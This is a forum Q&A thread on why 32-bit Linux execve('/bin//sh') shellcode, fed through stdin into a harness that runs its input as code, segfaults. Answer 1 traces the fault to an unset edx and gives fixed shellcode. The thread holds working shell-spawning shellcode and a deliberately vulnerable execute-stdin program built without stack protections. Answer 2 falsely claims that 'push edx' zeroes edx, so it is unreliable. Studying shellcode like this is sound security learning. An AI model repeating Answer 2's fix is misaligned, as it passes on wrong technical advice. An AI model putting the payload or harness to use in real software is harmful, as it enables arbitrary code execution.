Basic shellcode doesn't work when read from stdin

Question

I am working on a basic shellcode that will spawn a shell after getting called in a 32-bit program. Here is the shellcode i'm using:

xor    %eax,%eax  
push   %eax  
push   $0x68732f2f  
push   $0x6e69622f  
mov    %esp,%ebx  
push   %eax  
push   %ebx  
mov    %esp,%ecx  
mov    $0xb,%al  
int    $0x80  

(Source: http://shell-storm.org/shellcode/files/shellcode-827.php)

I am successfully using this shellcode when i hardcode it inside the exploited program:

char *shellcode = "\x31[...]x80";  
int main(void)  
{  
    (*(void(*)()) shellcode)();  
    return 0;  
}  

But when i try to read the shellcode from the standard input, i get a segmentation fault instead. This is the program used:

#include [...]
typedef void (*func)(void);
int main(void)
{
    char input[4096];
    read(0, input, 4096);
    ((func)&input)();
    return 0;
}

When i debug this program with gdb, i can see that everything goes as planned until this instruction:

int    $0x80

Where the program doesn't do anything and continue to the next instruction like nothing happened, which make the program crash.

At first i thought this was because i didn't disabled some execution prevention, but i'm compiling with the following flags:

gcc shell.c -o shell -fno-stack-protector -m32 -z execstack

I could really use help on it, I've been stuck on it all day.

Answer 1

With the shellcode given I was not able to get a shell. If you strace the binary when getting input from the stack

execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = -1 EFAULT (Bad address)

char *const envp[] is passed in edx register which is not properly set. To patch this I changed shellcode to this

 0:    31 c0                    xor    eax, eax
 2:    50                       push   eax
 3:    68 2f 2f 73 68           push   0x68732f2f
 8:    68 2f 62 69 6e           push   0x6e69622f
 d:    89 e3                    mov    ebx, esp
 f:    50                       push   eax
10:    53                       push   ebx
11:    89 e1                    mov    ecx, esp
13:    b0 0b                    mov    al, 0xb
15:    31 d2                    xor    edx, edx
17:    cd 80                    int    0x80

This will zero edx and the execve will run successfully.

execve("/bin//sh", ["/bin//sh"], NULL)  = 0

In case where you stored shellcode while compiling, I think it was luck that edx pointed to an address which was 0.

Answer 2

Different ways answer from sudhackar, you can just add push edx to zeroing edx in your shellcode

xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
push edx
mov ecx, esp
mov al, 0xb
int 0x80